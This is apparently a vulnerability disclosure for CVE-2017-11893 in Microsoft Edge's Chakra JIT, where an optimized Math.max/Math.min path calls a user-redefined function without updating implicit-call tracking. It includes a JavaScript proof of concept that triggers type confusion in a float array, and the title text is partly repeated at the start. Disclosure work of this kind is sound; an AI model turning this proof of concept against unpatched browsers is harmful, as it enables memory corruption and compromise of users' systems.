Microsoft Edge Chakra JIT Op MaxInAnArray Op MinInAnArray Misuse

Microsoft Edge: Chakra: JIT: Op_MaxInAnArray and Op_MinInAnArray can explicitly call user defined JavaScript functions

CVE-2017-11893


1. Call patterns like "Math.max. Microsoft Edge: Chakra: JIT: Op_MaxInAnArray and Op_MinInAnArray can explicitly call user defined JavaScript functions

CVE-2017-11893


1. Call patterns like "Math.max.apply(Math, [1, 2, 3, 4, 5])" and "Math.max.apply(Math, arr)" can be optimized to directly call the method "JavascriptMath::MaxInAnArray" in the Inline Phase.
2. The method takes the original method "Math.max" as the first parameter and the arguments object as the second parameter.
3. If the arguments object can't be handled by the method, it explicitly calls the original method "Math.max".
4. But it doesn't check if the property "Math.max" has changed, so a user defined JavaScript function can be called without updating "ImplicitCallFlags".

Note: Math.min as well.

PoC:
function opt(arr, arr2) {
arr[0] = 1.1;
Math.max.apply(Math, arr2);
arr[0] = 2.3023e-320;
}

function main() {
let arr = [1.1, 2.2, 3.3, 4.4];
for (let i = 0; i < 10000; i++) {
opt(arr, [1, 2, 3, 4]);
}

Math.max = function () {
arr[0] = {};
};

opt(arr, {}); // can't handle, calls Math.max
print(arr[0]);
}

main();

This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.




Found by: lokihardt